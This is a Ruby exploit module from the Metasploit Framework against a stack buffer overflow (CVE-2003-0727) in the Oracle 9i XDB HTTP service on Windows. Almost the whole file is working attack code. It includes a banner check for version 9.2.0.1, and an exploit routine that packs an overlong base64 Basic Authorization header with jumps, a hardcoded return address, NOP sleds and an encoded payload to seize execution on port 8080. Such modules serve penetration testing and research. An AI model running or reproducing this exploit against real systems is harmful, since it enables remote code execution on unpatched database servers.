##

# $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $

##



##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = GreatRanking



    include Msf::Exploit::Remote::Tcp



    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',

            'Description'    => %q{

                    This module exploits a stack buffer overflow in the authorization

                code of the Oracle 9i HTTP XDB service. David Litchfield,

                has illustrated multiple vulnerabilities in the Oracle

                9i XML Database (XDB), during a seminar on "Variations

                in exploit methods between Linux and Windows" presented

                at the Blackhat conference.

            },

            'Author'         => [ 'MC' ],

            'License'        => MSF_LICENSE,

            'Version'        => '$Revision: 10394 $',

            'References'     =>

                [

                    ['CVE', '2003-0727'],

                    ['OSVDB', '2449'],

                    ['BID', '8375'],

                    ['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],

                ],

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'thread',

                },

            'Privileged'     => true,

            'Payload'        =>

                {

                    'Space'    => 400,

                    'BadChars' => "\x00",

                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

                },

            'Platform'       => 'win',

            'Targets'        =>

                [

                    [ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],

                ],

            'DefaultTarget'  => 0,

            'DisclosureDate' => 'Aug 18 2003'))



        register_options(

            [

                Opt::RPORT(8080)

            ], self.class )

    end



    def check

        connect

        sock.put("GET / HTTP/1.0\r\n\r\n")

        resp = sock.get_once

        disconnect



        if (resp =~ /9.2.0.1.0/)

            return Exploit::CheckCode::Vulnerable

        end

            return Exploit::CheckCode::Safe

    end



    def exploit

        connect



        sploit =  rand_text_english(4, payload_badchars) + ":"

        sploit << rand_text_english(442, payload_badchars)

        sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')

        sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded



        req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"



        res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req



        print_status("Trying target %s..." % target.name)



        sock.put(res)



        handler

        disconnect

    end



end